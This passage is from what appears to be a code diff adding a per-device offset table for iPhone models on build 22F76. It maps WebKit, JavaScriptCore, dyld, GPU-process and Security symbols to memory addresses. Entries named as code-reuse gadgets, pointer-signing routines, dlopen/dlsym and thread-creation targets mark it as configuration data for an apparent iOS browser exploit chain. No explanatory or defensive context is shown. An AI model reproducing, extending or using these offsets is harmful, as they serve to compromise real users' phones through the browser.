WebCore__softLinkOTSVGOTSVGTableRelease: 0x1eeb48548n, + WebProcess_ensureGPUProcessConnection: 0x199195958n, + WebProcess_gpuProcessConnectionClosed: 0x199ae82fcn, + WebProcess_singleton: 0x1eda5f9c0n, + __pthread_head: 0x2696e0020n, + dyld__RuntimeState_emptySlot: 0x1a9a75b6cn, + dyld__RuntimeState_vtable: 0x1f2871aa0n, + dyld__dlopen_from_lambda_ret: 0x1a9a33fc8n, + dyld__signPointer: 0x1a9a3f3e4n, + emptyString: 0x1edb14420n, + free_slabs: 0x1ed9a5390n, + gadget_control_1_ios184: 0x23f0362ecn, + gadget_control_2_ios184: 0x1ad86ac28n, + gadget_control_3_ios184: 0x21f261150n, + gadget_loop_1_ios184: 0x1865f818cn, + gadget_loop_2_ios184: 0x20d235da8n, + gadget_loop_3_ios184: 0x184d29f1cn, + gadget_set_all_registers_ios184: 0x20dfae16cn, + jsc_base: 0x19a45a000n, + libARI_cstring: 0x218abf820n, + libGPUCompilerImplLazy__invoker: 0x23cddb7e8n, + libGPUCompilerImplLazy_cstring: 0x23bf25870n, + libdyld__dlopen: 0x1ad86c7b8n, + libdyld__dlsym: 0x1ad86da34n, + libdyld__gAPIs: 0x1ed5b8000n, + libsystem_c__atexit_mutex: 0x1ed8ca858n, + libsystem_kernel__thread_suspend: 0x1d3da51c0n, + libsystem_pthread_base: 0x20d284000n, + m_backend: 0x70n, + m_drawingArea: 0x50n, + m_gpuProcessConnection: 0x158n, + m_gpuProcessConnection_m_identifier: 0x38n, + m_imageBuffer: 0x18n, + m_isRenderingSuspended: 0xe8n, + m_platformContext: 0x38n, + m_remoteDisplayLists: 0x70n, + m_remoteRenderingBackendMap: 0xe8n, + m_webProcessConnections: 0x80n, + mach_task_self_ptr: 0x1ed8c9ac0n, + mainRunLoop: 0x1edb2c020n, + privateState_off: 0x7e8n, + pthread_create_jsc: 0x19bd26f30n, + pthread_create_offset: 0x6988n, + runLoopHolder_tid: 0x1edb3c708n, + rxBufferMtl_off: 0x100n, + rxMtlBuffer_off: 0x70n, + vertexAttribVector_off: 0x2548n + }, + "iPhone14,7_22F76": { + AVFAudio__AVLoadSpeechSynthesisImplementation_onceToken: 0x1edadf498n, + AVFAudio__OBJC_CLASS__AVSpeechSynthesisMarker: 0x1edadef80n, + AVFAudio__OBJC_CLASS__AVSpeechSynthesisProviderRequest: 0x1edadeee0n, + AVFAudio__OBJC_CLASS__AVSpeechSynthesisVoice: 0x1edadef30n, + AVFAudio__OBJC_CLASS__AVSpeechUtterance: 0x1edade328n, + AVFAudio__cfstr_SystemLibraryTextToSpeech: 0x1f195b658n, + AXCoreUtilities__DefaultLoader: 0x1eb7bcbe0n, + CAPointer: 0x20n, + CFNetwork__gConstantCFStringValueTable: 0x1ee9326e0n, + CGContextDelegate: 0x28n, + CMPhoto__CMPhotoCompressionCreateContainerFromImageExt: 0x1ac3ea428n, + CMPhoto__CMPhotoCompressionCreateDataContainerFromImage: 0x1ac3ea580n, + CMPhoto__CMPhotoCompressionSessionAddAuxiliaryImage: 0x1ac3b9cb8n, + CMPhoto__CMPhotoCompressionSessionAddAuxiliaryImageFromDictionaryRepresentation: 0x1ac3ba1e4n, + CMPhoto__CMPhotoCompressionSessionAddCustomMetadata: 0x1ac3ba748n, + CMPhoto__CMPhotoCompressionSessionAddExif: 0x1ac3ba304n, + CMPhoto__kCMPhotoTranscodeOption_Strips: 0x1e80ad898n, + DesktopServicesPriv_bss: 0x1ecca3a08n, + Foundation__NSBundleTables_bundleTables_value: 0x1ed8ec048n, + GPUConnectionToWebProcess_m_remoteGraphicsContextGLMap: 0xf0n, + GPUProcess_singleton: 0x1eb924a98n, + GetCurrentThreadTLSIndex_CurrentThreadIndex: 0x1ee7f3bc0n, + HOMEUI_cstring: 0x182f75636n, + IOSurfaceContextDelegate: 0x120n, + IOSurfaceDrawable: 0x150n, + IOSurfaceQueue: 0x48n, + ImageIO__IIOLoadCMPhotoSymbols: 0x18865182cn, + ImageIO__gFunc_CMPhotoCompressionCreateContainerFromImageExt: 0x1ed9be9b0n, + ImageIO__gFunc_CMPhotoCompressionCreateDataContainerFromImage: 0x1ed9be660n, + ImageIO__gFunc_CMPhotoCompressionSessionAddAuxiliaryImage: 0x1ed9be668n, + ImageIO__gFunc_CMPhotoCompressionSessionAddAuxiliaryImageFromDictionaryRepresentation: 0x1ed9be670n, + ImageIO__gFunc_CMPhotoCompressionSessionAddCustomMetadata: 0x1ed9be5b0n, + ImageIO__gFunc_CMPhotoCompressionSessionAddExif: 0x1ed9be678n, + ImageIO__gImageIOLogProc: 0x1ee9bc960n, + JavaScriptCore__globalFuncParseFloat: 0x19a8715ecn, + JavaScriptCore__jitAllowList: 0x1edb3e4a0n, + JavaScriptCore__jitAllowList_once: 0x1edb3e2b8n, + MediaAccessibility__MACaptionAppearanceGetDisplayType: 0x1bac39744n, + PerfPowerServicesReader_cstring: 0x257ed3e60n, + RemoteGraphicsContextGLWorkQueue: 0x1eda5ec18n, + RemoteRenderingBackendProxy_off: 0x830n, + Security__SecKeychainBackupSyncable_block_invoke: 0x18b5d7688n, + Security__SecOTRSessionProcessPacketRemote_block_invoke: 0x18b5eb958n, + Security__gSecurityd: 0x1eb67fd78n, + TextToSpeech__OBJC_CLASS__TtC12TextToSpeech27TTSMagicFirstPartyAudioUnit: 0x1edd8d288n, + UI_m_connection: 0x28n, + WebCore__DedicatedWorkerGlobalScope_vtable: 0x1f137cf70n, + WebCore__PAL_getPKContactClass: 0x1eda62e78n, + WebCore__TelephoneNumberDetector_phoneNumbersScanner_value: 0x1eb91eed0n, + WebCore__ZZN7WebCoreL29allScriptExecutionContextsMapEvE8contexts: 0x1eb8d9ac8n, + WebCore__initPKContact_once: 0x1eda6b9b8n, + WebCore__initPKContact_value: 0x1eda6b9c0n, + WebCore__softLinkDDDFACacheCreateFromFramework: 0x1eda6a180n, + WebCore__softLinkDDDFAScannerFirstResultInUnicharArray: 0x1eda6a178n, + WebCore__softLinkMediaAccessibilityMACaptionAppearanceGetDisplayType: 0x1eda6a160n, + WebCore__softLinkOTSVGOTSVGTableRelease: 0x1eeb48548n, + WebProcess_ensureGPUProcessConnection: 0x199195958n, + WebProcess_gpuProcessConnectionClosed: 0x199ae82fcn, + WebProcess_singleton: 0x1eda5fdc0n, + __pthread_head: 0x269b08020n, + dyld__RuntimeState_emptySlot: 0x1a9a75b6cn, + dyld__RuntimeState_vtable: 0x1f2871aa0n, + dyld__dlopen_from_lambda_ret: 0x1a9a33fc8n, + dyld__signPointer: 0x1a9a3f3e4n, + emptyString: 0x1edb14420n, + free_slabs: 0x1ed9a5790n, + gadget_control_1_ios184: 0x23f0da2ecn, + gadget_control_2_ios184: 0x1ad86ac28n, + gadget_control_3_ios184: 0x21f281150n, + gadget_loop_1_ios184: 0x1865f818cn, + gadget_loop_2_ios184: 0x20d255da8n, + gadget_loop_3_ios184: 0x184d29f1cn, + gadget_set_all_registers_ios184: 0x20dfce16cn, + jsc_base: 0x19a45a000n, + libARI_cstring: 0x218adf820n, + libGPUCompilerImplLazy__invoker: 0x23ce7f7e8n, + libGPUCompilerImplLazy_cstring: 0x23bfc9870n, + libdyld__dlopen: 0x1ad86c7b8n, + libdyld__dlsym: 0x1ad86da34n, + libdyld__gAPIs: 0x1ed5b8000n, + libsystem_c__atexit_mutex: 0x1ed8cac58n, + libsystem_kernel__thread_suspend: 0x1d3da51c0n, + libsystem_pthread_base: 0x20d2a4000n, + m_backend: 0x70n, + m_drawingArea: 0x50n, + m_gpuProcessConnection: 0x158n, + m_gpuProcessConnection_m_identifier: 0x38n, + m_imageBuffer: 0x18n, + m_isRenderingSuspended: 0xe8n, + m_platformContext: 0x38n, + m_remoteDisplayLists: 0x70n, + m_remoteRenderingBackendMap: 0xe8n, + m_webProcessConnections: 0x80n, + mach_task_self_ptr: 0x1ed8c9ec0n, + mainRunLoop: 0x1edb2c020n, + privateState_off: 0x7e8n, + pthread_create_jsc: 0x19bd26f30n, + pthread_create_offset: 0x6988n, + runLoopHolder_tid: 0x1edb3c708n, + rxBufferMtl_off: 0x100n, + rxMtlBuffer_off: 0x70n, + vertexAttribVector_off: 0x2548n + }, + "iPhone14,8_22F76": { + AVFAudio__AVLoadSpeechSynthesisImplementation_onceToken: 0x1edadf498n, + AVFAudio__OBJC_CLASS__AVSpeechSynthesisMarker: 0x1edadef80n, + AVFAudio__OBJC_CLASS__AVSpeechSynthesisProviderRequest: 0x1edadeee0n, + AVFAudio__OBJC_CLASS__AVSpeechSynthesisVoice: 0x1edadef30n, + AVFAudio__OBJC_CLASS__AVSpeechUtterance: 0x1edade328n, + AVFAudio__cfstr_SystemLibraryTextToSpeech: 0x1f195b658n, + AXCoreUtilities__DefaultLoader: 0x1eb7bcbe0n, + CAPointer: 0x20n, + CFNetwork__gConstantCFStringValueTable: 0x1ee9326e0n, + CGContextDelegate: 0x28n, + CMPhoto__CMPhotoCompressionCreateContainerFromImageExt: 0x1ac3ea428n, + CMPhoto__CMPhotoCompressionCreateDataContainerFromImage: 0x1ac3ea580n, + CMPhoto__CMPhotoCompressionSessionAddAuxiliaryImage: 0x1ac3b9cb8n, + CMPhoto__CMPhotoCompressionSessionAddAuxiliaryImageFromDictionaryRepresentation: 0x1ac3ba1e4n, + CMPhoto__CMPhotoCompressionSessionAddCustomMetadata: 0x1ac3ba748n, + CMPhoto__CMPhotoCompressionSessionAddExif: 0x1ac3ba304n, + CMPhoto__kCMPhotoTranscodeOption_Strips: 0x1e80ad898n, + DesktopServicesPriv_bss: 0x1ecca3a08n, + Foundation__NSBundleTables_bundleTables_value: 0x1ed8ec048n, + GPUConnectionToWebProcess_m_remoteGraphicsContextGLMap: 0xf0n, + GPUProcess_singleton: 0x1eb924a98n, + GetCurrentThreadTLSIndex_CurrentThreadIndex: 0x1ee7f3bc0n, + HOMEUI_cstring: 0x182f75636n, + IOSurfaceContextDelegate: 0x120n, + IOSurfaceDrawable: 0x150n, + IOSurfaceQueue: 0x48n, + ImageIO__IIOLoadCMPhotoSymbols: 0x18865182cn, + ImageIO__gFunc_CMPhotoCompressionCreateContainerFromImageExt: 0x1ed9be9b0n, + ImageIO__gFunc_CMPhotoCompressionCreateDataContainerFromImage: 0x1ed9be660n, + ImageIO__gFunc_CMPhotoCompressionSessionAddAuxiliaryImage: 0x1ed9be668n, + ImageIO__gFunc_CMPhotoCompressionSessionAddAuxiliaryImageFromDictionaryRepresentation: 0x1ed9be670n, + ImageIO__gFunc_CMPhotoCompressionSessionAddCustomMetadata: 0x1ed9be5b0n, + ImageIO__gFunc_CMPhotoCompressionSessionAddExif: 0x1ed9be678n, + ImageIO__gImageIOLogProc: 0x1ee9bc960n, + JavaScriptCore__globalFuncParseFloat: 0x19a8715ecn, + JavaScriptCore__jitAllowList: 0x1edb3e4a0n, + JavaScriptCore__jitAllowList_once: 0x1edb3e2b8n, + MediaAccessibility__MACaptionAppearanceGetDisplayType: 0x1bac39744n, + PerfPowerServicesReader_cstring: 0x257ed3e60n, + RemoteGraphicsContextGLWorkQueue: 0x1eda5ec18n, + RemoteRenderingBackendProxy_off: 0x830n, + Security__SecKeychainBackupSyncable_block_invoke: 0x18b5d7688n, + Security__SecOTRSessionProcessPacketRemote_block_invoke: 0x18b5eb958n, + Security__gSecurityd: 0x1eb67fd78n, + TextToSpeech__OBJC_CLASS__TtC12TextToSpeech27TTSMagicFirstPartyAudioUnit: 0x1edd8d288n, + UI_m_connection: 0x28n, + WebCore__DedicatedWorkerGlobalScope_vtable: 0x1f137cf70n, + WebCore__PAL_getPKContactClass: 0x1eda62e78n, + WebCore__TelephoneNumberDetector_phoneNumbersScanner_value: 0x1eb91eed0n, + WebCore__ZZN7WebCoreL29allScriptExecutionContextsMapEvE8contexts: 0x1eb8d9ac8n, + WebCore__initPKContact_once: 0x1eda6b9b8n, + WebCore__initPKContact_value: 0x1eda6b9c0n, + WebCore__softLinkDDDFACacheCreateFromFramework: 0x1eda6a180n, + WebCore__softLinkDDDFAScannerFirstResultInUnicharArray: 0x1eda6a178n, + WebCore__softLinkMediaAccessibilityMACaptionAppearanceGetDisplayType: 0x1eda6a160n, + WebCore__softLinkOTSVGOTSVGTableRelease: 0x1eeb48548n, + WebProcess_ensureGPUProcessConnection: 0x199195958n, + WebProcess_gpuProcessConnectionClosed: 0x199ae82fcn, + WebProcess_singleton: 0x1eda5fdc0n, + __pthread_head: 0x269b08020n, + dyld__RuntimeState_emptySlot: 0x1a9a75b6cn, + dyld__RuntimeState_vtable: 0x1f2871aa0n, + dyld__dlopen_from_lambda_ret: 0x1a9a33fc8n, + dyld__signPointer: 0x1a9a3f3e4n, + emptyString: 0x1edb14420n, + free_slabs: 0x1ed9a5790n, + gadget_control_1_ios184: 0x23f0da2ecn, + gadget_control_2_ios184: 0x1ad86ac28n, + gadget_control_3_ios184: 0x21f281150n, + gadget_loop_1_ios184: 0x1865f818cn, + gadget_loop_2_ios184: 0x20d255da8n, + gadget_loop_3_ios184: 0x184d29f1cn, + gadget_set_all_registers_ios184: 0x20dfce16cn, + jsc_base: 0x19a45a000n, + libARI_cstring: 0x218adf820n, + libGPUCompilerImplLazy__invoker: 0x23ce7f7e8n, + libGPUCompilerImplLazy_cstring: 0x23bfc9870n, + libdyld__dlopen: 0x1ad86c7b8n, + libdyld__dlsym: 0x1ad86da34n, + libdyld__gAPIs: 0x1ed5b8000n, + libsystem_c__atexit_mutex: 0x1ed8cac58n, + libsystem_kernel__thread_suspend: 0x1d3da51c0n, + libsystem_pthread_base: 0x20d2a4000n, + m_backend: 0x70n, + m_drawingArea: 0x50n, + m_gpuProcessConnection: 0x158n, + m_gpuProcessConnection_m_identifier: 0x38n, + m_imageBuffer: 0x18n, + m_isRenderingSuspended: 0xe8n, + m_platformContext: 0x38n, + m_remoteDisplayLists: 0x70n, + m_remoteRenderingBackendMap: 0xe8n, + m_webProcessConnections: 0x80n, + mach_task_self_ptr: 0x1ed8c9ec0n, + mainRunLoop: 0x1edb2c020n, + privateState_off: 0x7e8n, + pthread_create_jsc: 0x19bd26f30n, + pthread_create_offset: 0x6988n, + runLoopHolder_tid: 0x1edb3c708n, + rxBufferMtl_off: 0x100n, + rxMtlBuffer_off: 0x70n, + vertexAttribVector_off: 0x2548n + }, + "iPhone15,2_22F76": { + AVFAudio__AVLoadSpeechSynthesisImplementation_onceToken: 0x1edae35d8n, + AVFAudio__OBJC_CLASS__AVSpeechSynthesisMarker: 0x1edae30c0n, + AVFAudio__OBJC_CLASS__AVSpeechSynthesisProviderRequest: 0x1edae3020n, + AVFAudio__OBJC_CLASS__AVSpeechSynthesisVoice: 0x1edae3070n, + AVFAudio__OBJC_CLASS__AVSpeechUtterance: 0x1edae2468n, + AVFAudio__cfstr_SystemLibraryTextToSpeech: 0x1f195f658n, + AXCoreUtilities__DefaultLoader: 0x1eb7c0be0n, + CAPointer: 0x20n, + CFNetwork__gConstantCFStringValueTable: 0x1ee9366e0n, + CGContextDelegate: 0x28n, + CMPhoto__CMPhotoCompressionCreateContainerFromImageExt: 0x1ac3ee428n, + CMPhoto__CMPhotoCompressionCreateDataContainerFromImage: 0x1ac3ee580n, + CMPhoto__CMPhotoCompressionSessionAddAuxiliaryImage: 0x1ac3bdcb8n, + CMPhoto__CMPhotoCompressionSessionAddAuxiliaryImageFromDictionaryRepresentation: 0x1ac3be1e4n, + CMPhoto__CMPhotoCompressionSessionAddCustomMetadata: 0x1ac3be748n, + CMPhoto__CMPhotoCompressionSessionAddExif: 0x1ac3be304n, + CMPhoto__kCMPhotoTranscodeOption_Strips: 0x1e80b1898n, + DesktopServicesPriv_bss: 0x1ecca7a08n, + Foundation__NSBundleTables_bundleTables_value: 0x1ed8f0188n, + GPUConnectionToWebProcess_m_remoteGraphicsContextGLMap: 0xf0n, + GPUProcess_singleton: 0x1eb928a98n, + GetCurrentThreadTLSIndex_CurrentThreadIndex: 0x1ee7f7bc0n, + HOMEUI_cstring: 0x182f79636n, + IOSurfaceContextDelegate: 0x120n, + IOSurfaceDrawable: 0x150n, + IOSurfaceQueue: 0x48n, + ImageIO__IIOLoadCMPhotoSymbols: 0x18865582cn, + ImageIO__gFunc_CMPhotoCompressionCreateContainerFromImageExt: 0x1ed9c2af0n, + ImageIO__gFunc_CMPhotoCompressionCreateDataContainerFromImage: 0x1ed9c27a0n, + ImageIO__gFunc_CMPhotoCompressionSessionAddAuxiliaryImage: 0x1ed9c27a8n, + ImageIO__gFunc_CMPhotoCompressionSessionAddAuxiliaryImageFromDictionaryRepresentation: 0x1ed9c27b0n, + ImageIO__gFunc_CMPhotoCompressionSessionAddCustomMetadata: 0x1ed9c26f0n, + ImageIO__gFunc_CMPhotoCompressionSessionAddExif: 0x1ed9c27b8n, + ImageIO__gImageIOLogProc: 0x1ee9c0960n, + JavaScriptCore__globalFuncParseFloat: 0x19a8755ecn, + JavaScriptCore__jitAllowList: 0x1edb424a0n, + JavaScriptCore__jitAllowList_once: 0x1edb422b8n, + MediaAccessibility__MACaptionAppearanceGetDisplayType: 0x1bac3d744n, + PerfPowerServicesReader_cstring: 0x25808ee60n, + RemoteGraphicsContextGLWorkQueue: 0x1eda62d58n, + RemoteRenderingBackendProxy_off: 0x830n, + Security__SecKeychainBackupSyncable_block_invoke: 0x18b5db688n, + Security__SecOTRSessionProcessPacketRemote_block_invoke: 0x18b5ef958n, + Security__gSecurityd: 0x1eb683d78n, + TextToSpeech__OBJC_CLASS__TtC12TextToSpeech27TTSMagicFirstPartyAudioUnit: 0x1edd91288n, + UI_m_connection: 0x28n, + WebCore__DedicatedWorkerGlobalScope_vtable: 0x1f1380f70n, + WebCore__PAL_getPKContactClass: 0x1eda66fb8n, + WebCore__TelephoneNumberDetector_phoneNumbersScanner_value: 0x1eb922ed0n, + WebCore__ZZN7WebCoreL29allScriptExecutionContextsMapEvE8contexts: 0x1eb8ddac8n, + WebCore__initPKContact_once: 0x1eda6faf8n, + WebCore__initPKContact_value: 0x1eda6fb00n, + WebCore__softLinkDDDFACacheCreateFromFramework: 0x1eda6e2c0n, + WebCore__softLinkDDDFAScannerFirstResultInUnicharArray: 0x1eda6e2b8n, + WebCore__softLinkMediaAccessibilityMACaptionAppearanceGetDisplayType: 0x1eda6e2a0n, + WebCore__softLinkOTSVGOTSVGTableRelease: 0x1eeb4c548n, + WebProcess_ensureGPUProcessConnection: 0x199199958n, + WebProcess_gpuProcessConnectionClosed: 0x199aec2fcn, + WebProcess_singleton: 0x1eda63f00n, + __pthread_head: 0x26a888020n, + dyld__RuntimeState_emptySlot: 0x1a9a79b6cn, + dyld__RuntimeState_vtable: 0x1f2875aa0n, + dyld__dlopen_from_lambda_ret: 0x1a9a37fc8n, + dyld__signPointer: 0x1a9a433e4n, + emptyString: 0x1edb18420n, + free_slabs: 0x1ed9a98d0n, + gadget_control_1_ios184: 0x23f1202ecn, + gadget_control_2_ios184: 0x1ad86ec28n, + gadget_control_3_ios184: 0x21f289150n, + gadget_loop_1_ios184: 0x1865fc18cn, + gadget_loop_2_ios184: 0x20d25dda8n, + gadget_loop_3_ios184: 0x184d2df1cn, + gadget_set_all_registers_ios184: 0x20dfd616cn, + jsc_base: 0x19a45e000n, + libARI_cstring: 0x218ae7820n, + libGPUCompilerImplLazy__invoker: 0x23cec57e8n, + libGPUCompilerImplLazy_cstring: 0x23c00f870n, + libdyld__dlopen: 0x1ad8707b8n, + libdyld__dlsym: 0x1ad871a34n, + libdyld__gAPIs: 0x1ed5bc000n, + libsystem_c__atexit_mutex: 0x1ed8ced98n, + libsystem_kernel__thread_suspend: 0x1d3da91c0n, + libsystem_pthread_base: 0x20d2ac000n, + m_backend: 0x70n, + m_drawingArea: 0x50n, + m_gpuProcessConnection: 0x158n, + m_gpuProcessConnection_m_identifier: 0x38n, + m_imageBuffer: 0x18n, + m_isRenderingSuspended: 0xe8n, + m_platformContext: 0x38n, + m_remoteDisplayLists: 0x70n, + m_remoteRenderingBackendMap: 0xe8n, + m_webProcessConnections: 0x80n, + mach_task_self_ptr: 0x1ed8ce000n, + mainRunLoop: 0x1edb30020n, + privateState_off: 0x7e8n, + pthread_create_jsc: 0x19bd2af30n, + pthread_create_offset: 0x6988n, + runLoopHolder_tid: 0x1edb40708n, + rxBufferMtl_off: 0x100n, + rxMtlBuffer_off: 0x70n, + vertexAttribVector_off: 0x2548n + }, + "iPhone15,3_22F76": { + AVFAudio__AVLoadSpeechSynthesisImplementation_onceToken: 0x1edae35d8n, + AVFAudio__OBJC_CLASS__AVSpeechSynthesisMarker: 0x1edae30c0n, + AVFAudio__OBJC_CLASS__AVSpeechSynthesisProviderRequest: 0x1edae3020n, + AVFAudio__OBJC_CLASS__AVSpeechSynthesisVoice: 0x1edae3070n, + AVFAudio__OBJC_CLASS__AVSpeechUtterance: 0x1edae2468n, + AVFAudio__cfstr_SystemLibraryTextToSpeech: 0x1f195f658n, + AXCoreUtilities__DefaultLoader: 0x1eb7c0be0n, + CAPointer: 0x20n, + CFNetwork__gConstantCFStringValueTable: 0x1ee9366e0n, + CGContextDelegate: 0x28n, + CMPhoto__CMPhotoCompressionCreateContainerFromImageExt: 0x1ac3ee428n, + CMPhoto__CMPhotoCompressionCreateDataContainerFromImage: 0x1ac3ee580n, + CMPhoto__CMPhotoCompressionSessionAddAuxiliaryImage: 0x1ac3bdcb8n, + CMPhoto__CMPhotoCompressionSessionAddAuxiliaryImageFromDictionaryRepresentation: 0x1ac3be1e4n, + CMPhoto__CMPhotoCompressionSessionAddCustomMetadata: 0x1ac3be748n, + CMPhoto__CMPhotoCompressionSessionAddExif: 0x1ac3be304n, + CMPhoto__kCMPhotoTranscodeOption_Strips: 0x1e80b1898n, + DesktopServicesPriv_bss: 0x1ecca7a08n, + Foundation__NSBundleTables_bundleTables_value: 0x1ed8f0188n, + GPUConnectionToWebProcess_m_remoteGraphicsContextGLMap: 0xf0n, + GPUProcess_singleton: 0x1eb928a98n, + GetCurrentThreadTLSIndex_CurrentThreadIndex: 0x1ee7f7bc0n, + HOMEUI_cstring: 0x182f79636n, + IOSurfaceContextDelegate: 0x120n, + IOSurfaceDrawable: 0x150n, + IOSurfaceQueue: 0x48n, + ImageIO__IIOLoadCMPhotoSymbols: 0x18865582cn, + ImageIO__gFunc_CMPhotoCompressionCreateContainerFromImageExt: 0x1ed9c2af0n, + ImageIO__gFunc_CMPhotoCompressionCreateDataContainerFromImage: 0x1ed9c27a0n, + ImageIO__gFunc_CMPhotoCompressionSessionAddAuxiliaryImage: 0x1ed9c27a8n, + ImageIO__gFunc_CMPhotoCompressionSessionAddAuxiliaryImageFromDictionaryRepresentation: 0x1ed9c27b0n, + ImageIO__gFunc_CMPhotoCompressionSessionAddCustomMetadata: 0x1ed9c26f0n, + ImageIO__gFunc_CMPhotoCompressionSessionAddExif: 0x1ed9c27b8n, + ImageIO__gImageIOLogProc: 0x1ee9c0960n, + JavaScriptCore__globalFuncParseFloat: 0x19a8755ecn, + JavaScriptCore__jitAllowList: 0x1edb424a0n, + JavaScriptCore__jitAllowList_once: 0x1edb422b8n, + MediaAccessibility__MACaptionAppearanceGetDisplayType: 0x1bac3d744n, + PerfPowerServicesReader_cstring: 0x25808ee60n, + RemoteGraphicsContextGLWorkQueue: 0x1eda62d58n, + RemoteRenderingBackendProxy_off: 0x830n, + Security__SecKeychainBackupSyncable_block_invoke: 0x18b5db688n, + Security__SecOTRSessionProcessPacketRemote_block_invoke: 0x18b5ef958n, + Security__gSecurityd: 0x1eb683d78n, + TextToSpeech__OBJC_CLASS__TtC12TextToSpeech27TTSMagicFirstPartyAudioUnit: 0x1edd91288n, + UI_m_connection: 0x28n, + WebCore__DedicatedWorkerGlobalScope_vtable: 0x1f1380f70n, + WebCore__PAL_getPKContactClass: 0x1eda66fb8n, + WebCore__TelephoneNumberDetector_phoneNumbersScanner_value: 0x1eb922ed0n, + WebCore__ZZN7WebCoreL29allScriptExecutionContextsMapEvE8contexts: 0x1eb8ddac8n, + WebCore__initPKContact_once: 0x1eda6faf8n, + WebCore__initPKContact_value: 0x1eda6fb00n, + WebCore__softLinkDDDFACacheCreateFromFramework: 0x1eda6e2c0n, + WebCore__softLinkDDDFAScannerFirstResultInUnicharArray: 0x1eda6e2b8n, + WebCore__softLinkMediaAccessibilityMACaptionAppearanceGetDisplayType: 0x1eda6e2a0n, + WebCore__softLinkOTSVGOTSVGTableRelease: 0x1eeb4c548n, + WebProcess_ensureGPUProcessConnection: 0x199199958n, + WebProcess_gpuProcessConnectionClosed: 0x199aec2fcn, + WebProcess_singleton: 0x1eda63f00n, + __pthread_head: 0x26a888020n, + dyld__RuntimeState_emptySlot: 0x1a9a79b6cn, + dyld__RuntimeState_vtable: 0x1f2875aa0n, + dyld__dlopen_from_lambda_ret: 0x1a9a37fc8n, + dyld__signPointer: 0x1a9a433e4n, + emptyString: 0x1edb18420n, + free_slabs: 0x1ed9a98d0n, + gadget_control_1_ios184: 0x23f1202ecn, + gadget_control_2_ios184: 0x1ad86ec28n, + gadget_control_3_ios184: 0x21f289150n, + gadget_loop_1_ios184: 0x1865fc18cn, + gadget_loop_2_ios184: 0x20d25dda8n, + gadget_loop_3_ios184: 0x184d2df1cn, + gadget_set_all_registers_ios184: 0x20dfd616cn, + jsc_base: 0x19a45e000n, + libARI_cstring: 0x218ae7820n, + libGPUCompilerImplLazy__invoker: 0x23cec57e8n, + libGPUCompilerImplLazy_cstring: 0x23c00f870n, + libdyld__dlopen: 0x1ad8707b8n, + libdyld__dlsym: 0x1ad871a34n, + libdyld__gAPIs: 0x1ed5bc000n, + libsystem_c__atexit_mutex: 0x1ed8ced98n, + libsystem_kernel__thread_suspend: 0x1d3da91c0n, + libsystem_pthread_base: 0x20d2ac000n, + m_backend: 0x70n, + m_drawingArea: 0x50n, + m_gpuProcessConnection: 0x158n, + m_gpuProcessConnection_m_identifier: 0x38n, + m_imageBuffer: 0x18n, + m_isRenderingSuspended: 0xe8n, + m_platformContext: 0x38n, + m_remoteDisplayLists: 0x70n, + m_remoteRenderingBackendMap: 0xe8n, + m_webProcessConnections: 0x80n, + mach_task_self_ptr: 0x1ed8ce000n, + mainRunLoop: 0x1edb30020n, + privateState_off: 0x7e8n, + pthread_create_jsc: 0x19bd2af30n, + pthread_create_offset: 0x6988n, + runLoopHolder_tid: 0x1edb40708n, + rxBufferMtl_off: 0x100n, + rxMtlBuffer_off: 0x70n, + vertexAttribVector_off: 0x2548n + }, + "iPhone15,4_22F76": { + AVFAudio__AVLoadSpeechSynthesisImplementation_onceToken: 0x1edae3798n, + AVFAudio__OBJC_CLASS__AVSpeechSynthesisMarker: 0x1edae3280n, + AVFAudio__OBJC_CLASS__AVSpeechSynthesisProviderRequest: 0x1edae31e0n, + AVFAudio__OBJC_CLASS__AVSpeechSynthesisVoice: 0x1edae3230n, + AVFAudio__OBJC_CLASS__AVSpeechUtterance: 0x1edae2628n, + AVFAudio__cfstr_SystemLibraryTextToSpeech: 0x1f195f658n, + AXCoreUtilities__DefaultLoader: 0x1eb7c0be0n, + CAPointer: 0x20n, + CFNetwork__gConstantCFStringValueTable: 0x1ee9366e0n, + CGContextDelegate: 0x28n, + CMPhoto__CMPhotoCompressionCreateContainerFromImageExt: 0x1ac3ee428n, + CMPhoto__CMPhotoCompressionCreateDataContainerFromImage: 0x1ac3ee580n, + CMPhoto__CMPhotoCompressionSessionAddAuxiliaryImage: 0x1ac3bdcb8n, + CMPhoto__CMPhotoCompressionSessionAddAuxiliaryImageFromDictionaryRepresentation: 0x1ac3be1e4n, + CMPhoto__CMPhotoCompressionSessionAddCustomMetadata: 0x1ac3be748n, + CMPhoto__CMPhotoCompressionSessionAddExif: 0x1ac3be304n, + CMPhoto__kCMPhotoTranscodeOption_Strips: 0x1e80b1898n, + DesktopServicesPriv_bss: 0x1ecca7a08n, + Foundation__NSBundleTables_bundleTables_value: 0x1ed8f0348n, + GPUConnectionToWebProcess_m_remoteGraphicsContextGLMap: 0xf0n, + GPUProcess_singleton: 0x1eb928a98n, + GetCurrentThreadTLSIndex_CurrentThreadIndex: 0x1ee7f7bc0n, + HOMEUI_cstring: 0x182f79636n, + IOSurfaceContextDelegate: 0x120n, + IOSurfaceDrawable: 0x150n, + IOSurfaceQueue: 0x48n, + ImageIO__IIOLoadCMPhotoSymbols: 0x18865582cn, + ImageIO__gFunc_CMPhotoCompressionCreateContainerFromImageExt: 0x1ed9c2cb0n, + ImageIO__gFunc_CMPhotoCompressionCreateDataContainerFromImage: 0x1ed9c2960n, + ImageIO__gFunc_CMPhotoCompressionSessionAddAuxiliaryImage: 0x1ed9c2968n, + ImageIO__gFunc_CMPhotoCompressionSessionAddAuxiliaryImageFromDictionaryRepresentation: 0x1ed9c2970n, + ImageIO__gFunc_CMPhotoCompressionSessionAddCustomMetadata: 0x1ed9c28b0n, + ImageIO__gFunc_CMPhotoCompressionSessionAddExif: 0x1ed9c2978n, + ImageIO__gImageIOLogProc: 0x1ee9c0960n, + JavaScriptCore__globalFuncParseFloat: 0x19a8755ecn, + JavaScriptCore__jitAllowList: 0x1edb424a0n, + JavaScriptCore__jitAllowList_once: 0x1edb422b8n, + MediaAccessibility__MACaptionAppearanceGetDisplayType: 0x1bac3d744n, + PerfPowerServicesReader_cstring: 0x257f2fe60n, + RemoteGraphicsContextGLWorkQueue: 0x1eda62f18n, + RemoteRenderingBackendProxy_off: 0x830n, + Security__SecKeychainBackupSyncable_block_invoke: 0x18b5db688n, + Security__SecOTRSessionProcessPacketRemote_block_invoke: 0x18b5ef958n, + Security__gSecurityd: 0x1eb683d78n, + TextToSpeech__OBJC_CLASS__TtC12TextToSpeech27TTSMagicFirstPartyAudioUnit: 0x1edd91288n, + UI_m_connection: 0x28n, + 